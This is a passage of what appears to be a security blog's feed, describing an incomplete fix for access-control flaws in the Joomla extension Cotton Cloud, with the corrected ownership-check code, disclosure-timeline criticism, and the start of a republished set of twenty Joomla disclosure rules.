&lt;span&gt;&lt;span&gt;        $data&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;success &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; false&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        $data&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;error &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; Text&lt;/span&gt;&lt;span&gt;::&lt;/span&gt;&lt;span&gt;_&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;COM_COTTON_ERROR_NOACCESS&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        return&lt;/span&gt;&lt;span&gt; $data;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    // ...&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Nothing calls that method. The controller task named &lt;code&gt;file_delete&lt;/code&gt; does not call &lt;code&gt;CottonModel::file_delete()&lt;/code&gt;. It calls &lt;code&gt;item_delete()&lt;/code&gt;, a different method, which deleted by id with no ownership check anywhere in it. The method that got the fix was dead code, with no callers in the entire package. Every delete request the application actually served went down the unguarded path and always had.&lt;/p&gt;
&lt;p&gt;It got worse on inspection. The check that was added did not even work: &lt;code&gt;file_select()&lt;/code&gt; already filters by owner, so it can only return rows the caller owns, and the guard then asked whether each row is &lt;strong&gt;not&lt;/strong&gt; owned by the caller, a condition that can never be true. If anything had called that method, it would have would not delete your own files while reporting success.&lt;/p&gt;
&lt;p&gt;An ownership check, written in good faith, sitting in code that cannot execute. Reading the diff would never catch it, because the diff looks right. Reading the diff tells you what you wrote. Only the request tells you what runs.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Reproduce the bug before you fix it, then run the exact same request afterwards. A fix you have not exploited is a fix you have not tested. Reading the diff tells you what you wrote. Only the request tells you what runs.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;One deletion request run as a second user against 2.0.2, watched succeeding, would have surfaced this in under a minute.&lt;/p&gt;
&lt;h2&gt;What vibe coding does to a security fix&lt;/h2&gt;
&lt;p&gt;A word of care first: we are not making a claim about how any particular line of Cotton Cloud was written, and none of this is aimed at its developer, who has been better to deal with than most. But we keep running into this shape, and this extension is a useful lens. Its headline feature is an AI terminal with an MCP server and around forty tool calls wired straight into the site’s data layer.&lt;/p&gt;
&lt;p&gt;A guard that is correct in isolation and unreachable in context is the signature failure of building fast with an AI assistant. The risk is structural, not one careless afternoon.&lt;/p&gt;
&lt;h3&gt;Generated code is written to the description, not to the request&lt;/h3&gt;
&lt;p&gt;Ask any assistant to “add an ownership check to file deletion” and it will find the method whose name says file deletion and put a very good check in it. It has no way of knowing the controller calls a differently named sibling, unless you make it trace the path first. The output is aimed at the wrong target, and aimed with complete confidence.&lt;/p&gt;
&lt;h3&gt;It reads as finished, which is what defeats review&lt;/h3&gt;
&lt;p&gt;Human mistakes usually look like mistakes. Generated mistakes look like the thing you asked for, because producing plausible code is what the tool is optimised to do. The 2.0.2 guard is well-formed, correctly indented, and uses the right Joomla APIs and the right language constant. Everything about it says “done” except whether it runs.&lt;/p&gt;
&lt;h3&gt;Structure arrives faster than the invariants that keep it safe&lt;/h3&gt;
&lt;p&gt;Cotton Cloud has repositories, managers, services and a bridge. That is a sensible architecture and a lot of scaffolding for one person to produce. Layers are exactly where security invariants go missing, because each layer assumes the one above it checked. Which is what happened: the browse queries filtered by owner, so the interface looked correctly scoped, while the by-id accessors underneath took an integer and returned whatever it pointed at.&lt;/p&gt;
&lt;h3&gt;The same helper gets written twice, and one copy gets fixed&lt;/h3&gt;
&lt;p&gt;The 2.0.3 changelog records removing a duplicate &lt;code&gt;SpaceCalculator&lt;/code&gt; class that existed in both the library and the service layer. Duplication is cheap to generate and expensive to secure, because patching one copy leaves the other exactly as it was.&lt;/p&gt;
&lt;h3&gt;Plausible variable flow hides dead logic&lt;/h3&gt;
&lt;p&gt;The terminal’s JWT middleware tries three sources for its signing secret. The third reads the value into &lt;code&gt;$config&lt;/code&gt; while the function returns &lt;code&gt;$secret&lt;/code&gt;, so the fallback does nothing. It fails closed, which makes it latent rather than live, but no one wrote that on purpose and nothing in the code admits to being broken.&lt;/p&gt;
&lt;h3&gt;An agent interface is new attack surface with no conventions yet&lt;/h3&gt;
&lt;p&gt;MCP has no authentication model of its own; it inherits whatever the host application enforces. Cotton Cloud’s MCP server gave its full tool list to anyone who could present a CSRF token, and every tool inherited the weakest check in the data layer beneath it. Each tool is an endpoint. Forty tools is forty endpoints, and they arrive as a single feature you tick on in the component options.&lt;/p&gt;
&lt;p&gt;Use the assistants. What has to move is the acceptance test. When code was expensive to produce, reading it carefully was a fair proxy for knowing what it did, and most of our habits as reviewers were built on that assumption. When it is cheap to produce and uniformly plausible, the proxy stops working, and the only thing left that tells you the truth is running the request and watching what comes back. That cuts both ways, and it is why we re-run the whole attack against a new release rather than reading the changelog and taking the vendor’s word for it.&lt;/p&gt;
&lt;h2&gt;What 2.0.3 fixed&lt;/h2&gt;
&lt;p&gt;2.0.3 is a substantially bigger piece of work than 2.0.2 and it goes after the right thing.&lt;/p&gt;
&lt;p&gt;Ownership checks now run through the model layer, on the paths a request actually takes: folder creation and updates, deletes, trash recovery, file uploads, finalisation, cancellation, saves, updates and the editor entry point all resolve the record and compare &lt;code&gt;owner_id&lt;/code&gt; against the current user before doing anything with it.&lt;/p&gt;
&lt;p&gt;The terminal and MCP surface, which was the widest part of the exposure because &lt;code&gt;CottonBridge&lt;/code&gt; was built entirely on the unscoped accessors, gained a dedicated assertion layer:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;public&lt;/span&gt;&lt;span&gt; function&lt;/span&gt;&lt;span&gt; assertFileOwner&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt; $fileId)&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; ?array&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    $file &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; $this&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;getById&lt;/span&gt;&lt;span&gt;($fileId);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    if&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;!&lt;/span&gt;&lt;span&gt;$file &lt;/span&gt;&lt;span&gt;||&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt;) $file&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;owner_id &lt;/span&gt;&lt;span&gt;!==&lt;/span&gt;&lt;span&gt; $this&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;getCurrentUserId&lt;/span&gt;&lt;span&gt;()) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        return&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;            &apos;&lt;/span&gt;&lt;span&gt;success&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; =&amp;gt;&lt;/span&gt;&lt;span&gt; false&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;            &apos;&lt;/span&gt;&lt;span&gt;message&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; =&amp;gt;&lt;/span&gt;&lt;span&gt; Text&lt;/span&gt;&lt;span&gt;::&lt;/span&gt;&lt;span&gt;_&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;COM_SHUTTLE_ERROR_NOACCESS&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;            &apos;&lt;/span&gt;&lt;span&gt;error&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;   =&amp;gt;&lt;/span&gt;&lt;span&gt; Text&lt;/span&gt;&lt;span&gt;::&lt;/span&gt;&lt;span&gt;_&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;COM_SHUTTLE_ERROR_NOACCESS&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        ];&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    return&lt;/span&gt;&lt;span&gt; null&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That is the right shape: one place to get it right, called by the commands rather than reimplemented in each. Against 2.0.3, the reads we demonstrated through &lt;code&gt;cat&lt;/code&gt;, &lt;code&gt;find&lt;/code&gt; and the MCP interface are rejected, and so are the file update and editor paths that gave us the re-permission and read primitives.&lt;/p&gt;
&lt;p&gt;He gave the changelog the same treatment, which comes up again below.&lt;/p&gt;
&lt;h2&gt;We have seen this exact fix before&lt;/h2&gt;
&lt;p&gt;This is not a story about one developer.&lt;/p&gt;
&lt;p&gt;In June 2026 we reported a file-upload remote code execution flaw in PageBuilder CK. The vendor shipped 3.6.0, which &lt;strong&gt;added a login check and nothing else&lt;/strong&gt;. Any user with an Editor account could still run code on the server, and that stayed true through 3.6.2 before it was &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-file-upload-rce-incomplete-fix/&quot;&gt;finally fixed correctly in 3.6.3&lt;/a&gt;. Same shape: authentication added, authorisation forgotten, release announced as fixed.&lt;/p&gt;
&lt;p&gt;Balbooa Forms did something adjacent. The first unauthenticated upload flaw was fixed in 2.4.1, and then &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;a second one was still there in both 2.4.1 and 2.4.2&lt;/a&gt; before 2.4.3 closed it.&lt;/p&gt;
&lt;p&gt;Several extensions, several vendors, one reflex. When a report says “anyone can do X”, the instinct is to stop anyone from getting in. That closes the door the researcher walked through and leaves the room unlocked. It is an easy reflex to have because it makes the reproduction steps in the report stop working, which feels exactly like success.&lt;/p&gt;
&lt;p&gt;The tell is always the same: if the fix is a check at the entrance and the report described a problem with the data, the fix is not finished. Missing authentication and missing authorisation are &lt;a href=&quot;https://owasp.github.io/Top10/2021/A01_2021-Broken_Access_Control/&quot;&gt;the same OWASP category&lt;/a&gt; and they need separate fixes. We see this often enough now that we test for it specifically: after a vendor tells us something is fixed, the first thing we do is log in as the lowest-privilege account the site will give us and run the whole attack again.&lt;/p&gt;
&lt;p&gt;The IDOR half is not exotic either. We reported the same class of flaw in &lt;a href=&quot;https://mysites.guru/blog/easystore-security-disclosure/&quot;&gt;EasyStore, where any logged-in customer could read every other customer’s invoice by editing one URL&lt;/a&gt;, and in &lt;a href=&quot;https://mysites.guru/blog/events-booking-invoice-idor/&quot;&gt;Events Booking, where registrant invoices with names, addresses and payment details were downloadable&lt;/a&gt;. Numeric ids, no ownership predicate, and an interface that looks correctly scoped because the listing query is.&lt;/p&gt;
&lt;h2&gt;Why half a fix happens&lt;/h2&gt;
&lt;p&gt;It is tempting to file this under carelessness. We do not think that is what it was, and the timeline says something more useful. It is &lt;a href=&quot;#timeline&quot;&gt;at the foot of this post&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The first release is the one to study, because that is where the misunderstanding entered. There was no conversation between the report and 2.0.2. Ten days of silence, then a finished release and a reply announcing it. The developer’s own summary of what he had done was that “improving security regarding task execution within the controllers was indeed necessary”, which is an accurate description of the half he fixed and a complete description of what he had understood the report to be.&lt;/p&gt;
&lt;p&gt;That is not carelessness. That is what happens when no one talks. A single reply saying “I have read this, I understand there are two issues, here is my plan for each” would have surfaced the misunderstanding on day one, while the fix was still being written. Instead the misunderstanding got shipped, and the person best placed to catch it found out afterwards, from a third party.&lt;/p&gt;
&lt;p&gt;The second round went the way it should have. He engaged, shipped a real fix in a day, and asked us to verify before finalising. That is the loop working. It just started one release too late, and the reason it started late is worth more attention than the bug itself.&lt;/p&gt;
&lt;h2&gt;Where this sits against the twenty rules&lt;/h2&gt;
&lt;p&gt;The timing here is almost too neat. On 10 August 2026, the day before 2.0.2 was announced to us, David Jardin of the Joomla Security Strike Team added a Security page to the official Joomla Manual setting out twenty rules for how extension developers should handle a vulnerability report. We &lt;a href=&quot;https://mysites.guru/blog/joomla-extension-security-disclosure-standard/&quot;&gt;republished it in full&lt;/a&gt;, because it is the first time this guidance has existed in one citable place with the Joomla project’s name on it.&lt;/p&gt;
&lt;p&gt;The first release ran against several of them. We are listing them because they are useful to any developer who has never had a report arrive in their inbox.&lt;/p&gt;
&lt;h3&gt;Rule 3: acknowledge the reporter quickly&lt;/h3&gt;
&lt;p&gt;The Manual’s target is one business day for acknowledgement and three to five for an initial assessment. This took ten days and a resend.&lt;/p&gt;
&lt;h3&gt;Rule 4: validate the vulnerability&lt;/h3&gt;
&lt;p&gt;Half the report was never validated. This is the causal link: rules 3 and 4 are not manners, they are the steps where you find out what you are actually fixing. Skip them and you ship what you assumed the report said.&lt;/p&gt;
&lt;h3&gt;Rule 9: coordinate a disclosure date&lt;/h3&gt;
&lt;p&gt;No date was ever discussed. The release simply appeared, and we learned of it from the JSST thread rather than from the vendor.&lt;/p&gt;
&lt;h3&gt;Rule 11: assign the CVE before public disclosure&lt;/h3&gt;
&lt;p&gt;2.0.2 went public first, and the identifiers followed afterwards.&lt;/p&gt;
&lt;h3&gt;Rule 17: do not hide security fixes in vague language&lt;/h3&gt;
&lt;p&gt;At the time 2.0.2 was serving to every site through the update system, the extension’s changelog file contained exactly one entry, for version 1.0.1, reading:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;Saving text files solved.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There was no entry for 2.0.2. Every site owner who clicked Changelog in Joomla to decide whether the update was urgent saw a note about text file saving from an ancient release, so a security release looked like an optional one.&lt;/p&gt;
&lt;p&gt;This is the rule the developer has since fixed properly, and it deserves saying as loudly as the criticism. The changelog file now has structured entries for every 2.x release, and the 2.0.3 entry says what the release did in plain terms:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;Ownership validation layer added to CottonBridge&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;(assertFolderOwner, assertFileOwner, getCurrentUserId).&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;File owner assertions added to Shuttle commands (cat, head, and others).&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A site owner reading that in Joomla’s update view can tell it touches access control. Going back and writing the history you skipped is more work than writing it at the time, and he did it.&lt;/p&gt;
&lt;p&gt;If you are an extension developer reading this and only take one thing from it: &lt;a href=&quot;https://mysites.guru/blog/joomla-extension-security-disclosure-standard/&quot;&gt;read the twenty rules&lt;/a&gt;. It is the Joomla project’s own guidance, written by the person who runs the CNA that will assign your CVE, and following it costs you an email and a changelog line.&lt;/p&gt;
&lt;h2&gt;What site owners should do&lt;/h2&gt;
&lt;p&gt;If you run Cotton Cloud, update to 2.0.3 now. Do not stop at 2.0.2.&lt;/p&gt;
&lt;p&gt;Then consider what was reachable while a vulnerable version was live. These flaws exposed and altered file contents, so updating closes the hole but does not undo any read, overwrite or delete that already happened. If the extension was serving a site with open registration for any length of time, treat anything stored in it as potentially known. Because the flaw also allowed writing and deleting, check that the files and folders you expect are still there and still say what they should.&lt;/p&gt;
&lt;p&gt;Also check for content that should not be there. The component sets the response content type from the file extension, so a file with an HTML extension could have been planted or edited to serve script from your domain, and it would look like an ordinary entry in a user’s drive. Anything with an &lt;code&gt;.html&lt;/code&gt;, &lt;code&gt;.htm&lt;/code&gt; or &lt;code&gt;.svg&lt;/code&gt; extension is worth opening.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;This is not remote code execution. Cotton Cloud stores files as database blobs rather than on disk, so a stored PHP file is returned as bytes, not executed. Nothing here lets an attacker run code on your server. What it does let them do is read, alter and destroy everything your users have stored, and serve script from your domain.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;Finding every affected site at once&lt;/h2&gt;
&lt;p&gt;One Cotton Cloud install is an afternoon. Forty client sites is a different problem, and the version number is the only thing that tells you which ones matter.&lt;/p&gt;
&lt;p&gt;mySites.guru records the installed version of every extension on every connected Joomla site, so a question like “which of my sites are running Cotton Cloud below 2.0.3” is a list you already have rather than an audit you have to run. When a version is flagged as vulnerable, the affected sites surface on their own.&lt;/p&gt;
&lt;p&gt;That is the scope of it. We do not patch this for you and we cannot tell you what was read while a vulnerable version was live. What we remove is the part where you log into forty administrator panels to find out which four need attention. If you want the detail on how the version tracking works, we wrote it up in &lt;a href=&quot;https://mysites.guru/blog/vulnerable-extension-list-joomla-wordpress/&quot;&gt;our guide to the vulnerable extension list&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;For extension developers&lt;/h2&gt;
&lt;p&gt;Five things worth taking from this, none of which are specific to Cotton Cloud.&lt;/p&gt;
&lt;h3&gt;A CSRF token is not a login check&lt;/h3&gt;
&lt;p&gt;This is the single most common real finding we make in Joomla extensions. &lt;code&gt;Session::checkToken()&lt;/code&gt; proves the request came from your site. It says nothing about who sent it, and Joomla issues tokens to guests. If the only gate on a task is a token, that task is anonymous.&lt;/p&gt;
&lt;h3&gt;Scope by owner in the query, not in the caller&lt;/h3&gt;
&lt;p&gt;Cotton Cloud’s browse queries filtered by owner correctly, which is why the interface always looked right. The by-id lookups did not, and every caller that forgot to add its own check inherited a hole. Put the ownership predicate in the repository method where it cannot be forgotten, and the twenty places that call it are fixed at once.&lt;/p&gt;
&lt;h3&gt;Patch the path the request takes&lt;/h3&gt;
&lt;p&gt;Find the method the controller actually calls before you write the guard. In a layered codebase the method with the obvious name is often not the one doing the work. A guard in the wrong method is worse than no guard, because it looks done.&lt;/p&gt;
&lt;h3&gt;Give agent interfaces their own authorisation model&lt;/h3&gt;
&lt;p&gt;An MCP server or tool API inside your extension is not one endpoint, it is one endpoint per tool, and it inherits whatever the layer beneath it enforces. Decide who is allowed to call each tool, in the tool, and assume the transport gives you nothing.&lt;/p&gt;
&lt;h3&gt;Then prove it&lt;/h3&gt;
&lt;p&gt;Reproduce, patch, re-run the same request. Reading your own diff is how a fix that never executes gets shipped as done.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-08-01&lt;/strong&gt; Both issues are reported privately, copying the Strike Team Two separate access control failures in Cotton Cloud 2.0.1, described together with the specific files named: every front-end task needing only a CSRF token, and the by-id database accessors fetching files and folders with no check that the id belonged to the caller.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-08&lt;/strong&gt; Resent after seven days of silence We had also tried to make contact publicly and privately on social media by this point.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-10&lt;/strong&gt; The Joomla Manual gains a Security page for exactly this situation David Jardin of the Joomla Security Strike Team publishes twenty rules for how extension developers should handle a vulnerability report, the day before 2.0.2 was announced to us.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-11&lt;/strong&gt; The first reply arrives, ten days after the report 2.0.2 had already been published by then, fixing the authentication half only. There had been no conversation between the report and the release, which is how half a fix happens.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-11&lt;/strong&gt; We confirm to the Strike Team that 2.0.2 fixes one half The missing authentication was closed. The missing authorisation was not, so any user&apos;s files were still reachable by id.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-12&lt;/strong&gt; 2.0.3 ships with the authorisation half addressed The developer asks us to confirm it. This is the release that closes the second root cause.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-12&lt;/strong&gt; The Joomla CNA publishes both CVEs CVE-2026-67283 for the missing authentication and CVE-2026-67284 for the missing authorisation, one per root cause, both credited to Phil Taylor of mySites.guru.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/joomla-extension-security-disclosure-standard/&quot;&gt;Twenty Rules for Joomla Extension Developers Handling a Security Report&lt;/a&gt;, the Joomla Manual&apos;s security page republished in full&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/docs/security/&quot;&gt;Joomla Manual: Security&lt;/a&gt;, the official source&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.joomla.org/security.html&quot;&gt;Joomla Security Strike Team&lt;/a&gt;, where to report an extension vulnerability and request a CVE&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.github.io/Top10/2021/A01_2021-Broken_Access_Control/&quot;&gt;OWASP: Broken Access Control&lt;/a&gt;, the category both parts of this flaw belong to&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html&quot;&gt;OWASP: Insecure Direct Object Reference Prevention&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/helix3-security-update-changelog-failure/&quot;&gt;Helix3 and the changelog that said nothing&lt;/a&gt;, the same rule 17 failure in a much more widely installed extension&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-file-upload-rce-incomplete-fix/&quot;&gt;PageBuilder CK RCE fixed, again, correctly this time&lt;/a&gt;, the same login-check-only fix in a different extension&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;Nineteen and counting: a month of Joomla extension disclosures&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX endpoints are a big CMS security blind spot&lt;/a&gt;, on why this class of endpoint keeps producing the same bug&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>cotton cloud</category><category>broken access control</category><category>idor</category><category>vulnerability</category><category>responsible disclosure</category><category>ai</category><enclosure url="https://mysites.guru/img/og/blog/cotton-cloud-incomplete-security-fix.png" length="0" type="image/png"/></item><item><title>Twenty Rules for Joomla Extension Developers Handling a Security Report</title><link>https://mysites.guru/blog/joomla-extension-security-disclosure-standard/</link><guid isPermaLink="true">https://mysites.guru/blog/joomla-extension-security-disclosure-standard/</guid><description>A new Joomla Manual page sets out 20 rules for how extension developers should handle a security report. Republished here in full under the JEDL.</description><pubDate>Mon, 10 Aug 2026 11:26:24 GMT</pubDate><content:encoded>&lt;p&gt;The Joomla Manual now answers a question the Joomla ecosystem has never had a written answer to: when somebody emails you to say your extension has a security hole, what are you supposed to do next?&lt;/p&gt;
&lt;p&gt;David Jardin, Team Leader of the Joomla Security Strike Team, wrote that answer as a single new file, &lt;code&gt;docs/building-extensions/security.md&lt;/code&gt;. He opened it as &lt;a href=&quot;https://github.com/joomla/Manual/pull/695&quot;&gt;pull request 695&lt;/a&gt; on 10 August 2026 to help extension developers handle the security issues reported to them, and Harald Leithner merged it thirteen minutes later. It is documentation in the Manual now, not a proposal.&lt;/p&gt;
&lt;p&gt;Twenty numbered practices. Publish a reporting channel. Keep the report confidential. Acknowledge the reporter inside a business day. Score it with CVSS 4.0 instead of guessing at “critical”. Build the fix in private with a regression test. Get a CVE ID from the Joomla CNA before you go public. Credit the person who found it, in the words they chose. Publish an advisory that names affected and fixed versions. Do not hide the fix behind “various bug fixes and improvements”. Do not sue the researcher.&lt;/p&gt;
&lt;p&gt;None of that is exotic. It is the same coordinated-disclosure practice that the wider software industry settled on years ago, written down for the first time in a form Joomla extension developers can point at. We have reposted the whole thing below, in full, with credit to the author and the Joomla project, under the licence the Joomla Manual uses.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;What this is, and what it is not&lt;/p&gt;
  &lt;p&gt;This is a &lt;strong&gt;standard for handling security reports&lt;/strong&gt; written by &lt;strong&gt;David Jardin&lt;/strong&gt;, Team Leader of the Joomla Security Strike Team, to help Joomla extension developers handle security issues reported to them. It arrived as &lt;a href=&quot;https://github.com/joomla/Manual/pull/695&quot;&gt;pull request 695&lt;/a&gt; on the Joomla Manual on 10 August 2026, was merged the same day, and is now published as &lt;a href=&quot;https://manual.joomla.org/docs/next/building-extensions/security/&quot;&gt;Building Extensions: Security&lt;/a&gt; in the official Joomla developer documentation. It is not an enforced requirement: nothing checks whether an extension follows it. Our republication of it here is not endorsed by the Joomla project. The full text below is the work of David Jardin and the Joomla! Project, republished with credit under the &lt;a href=&quot;https://docs.joomla.org/JEDL&quot;&gt;Joomla! Electronic Documentation License&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What Skipping These Rules Costs Site Owners&lt;/h2&gt;
&lt;p&gt;We have spent this year on the reporting end of this process. In &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;a single month we found and disclosed nineteen security issues&lt;/a&gt; in widely used Joomla extensions, and there have been many more since. That means we have watched the twenty points below get followed and skipped, one vendor at a time, in real cases with real site owners on the other end.&lt;/p&gt;
&lt;p&gt;Two of those cases map onto the twenty points so exactly that they read like the worked examples.&lt;/p&gt;
&lt;h3&gt;Point 17: do not hide security fixes in vague language&lt;/h3&gt;
&lt;p&gt;JoomShaper shipped Helix3 3.1.1 with a changelog entry that read, in its entirety, “Security Update”. That release &lt;a href=&quot;https://mysites.guru/blog/helix3-security-update-changelog-failure/&quot;&gt;closed an unauthenticated file write, an arbitrary file delete, a template-settings overwrite, an authenticated upload route to code execution, a stored XSS, a leaked API key and a ratings-abuse hole&lt;/a&gt;. Helix3 sits under a large share of the Joomla sites in the world. Every administrator looking at that line had to decide whether to schedule an update, and the line gave them nothing to decide with.&lt;/p&gt;
&lt;p&gt;JoomlArt did the softer version of the same thing days later. T4 Page Builder 2.3.0 closed an unauthenticated open mail relay we had reported, and &lt;a href=&quot;https://mysites.guru/blog/t4-page-builder-2-3-0-mail-relay-fix/&quot;&gt;the release announcement described it as “Safer recipients”&lt;/a&gt;, used the word vulnerability nowhere in roughly 5,000 characters, and never stated which versions were affected.&lt;/p&gt;
&lt;h3&gt;Points 11 and 12: get the CVE before disclosure, and always offer credit&lt;/h3&gt;
&lt;p&gt;We reported three flaws in JoomShaper’s EasyStore on 21 July 2026, including one where any logged-in customer could read every other customer’s invoice by editing a URL. The vendor acknowledged the next day, confirmed all three, and shipped the fix in 2.0.2 within 24 hours, which is the part of this they got right and deserve credit for. But &lt;a href=&quot;https://mysites.guru/blog/easystore-security-disclosure/&quot;&gt;the release had no advisory, no coordinated disclosure date, no CVE request and no credit&lt;/a&gt;. We took the issues to the Joomla CNA ourselves, which assigned &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65759/&quot;&gt;CVE-2026-65759&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65760/&quot;&gt;CVE-2026-65760&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65761/&quot;&gt;CVE-2026-65761&lt;/a&gt; on 23 July 2026.&lt;/p&gt;
&lt;p&gt;In both cases the vulnerability itself was the least interesting part. Every codebase has them, which is where the Manual page opens. What separated a decent outcome from a bad one was the communication after the fix already existed, and that is the part a developer can settle permanently by writing a policy down once.&lt;/p&gt;
&lt;h2&gt;How Do You Know Which of Your Joomla Sites Are Affected?&lt;/h2&gt;
&lt;p&gt;A perfect advisory still only helps you if you can answer one question quickly: which of my sites run this extension, and on what version? For an agency with fifty Joomla sites that question currently means fifty administrator logins, and it has to be answered on the day the advisory is published, not the following week.&lt;/p&gt;
&lt;p&gt;That is the job mySites.guru does. It keeps a live inventory of every extension on every connected Joomla and WordPress site, with the installed version on each, so a new advisory becomes one search rather than an afternoon. Our vulnerability database flags sites running a version a vendor has patched, including the extension-level issues that Joomla’s own update system says nothing about, and the &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;site audit&lt;/a&gt; covers the file and database checks that tell you whether an exposed site was reached before you got to it. If you are looking after more than a handful of sites, the &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;multi-site Joomla tooling&lt;/a&gt; is the part of the subscription that turns an advisory into a work list.&lt;/p&gt;
&lt;p&gt;Tooling tells you which sites to look at, but it cannot tell you a release was a security release when the vendor never said so. That half of the problem is the one only extension developers can solve, which is why the page below matters more than anything we could build.&lt;/p&gt;
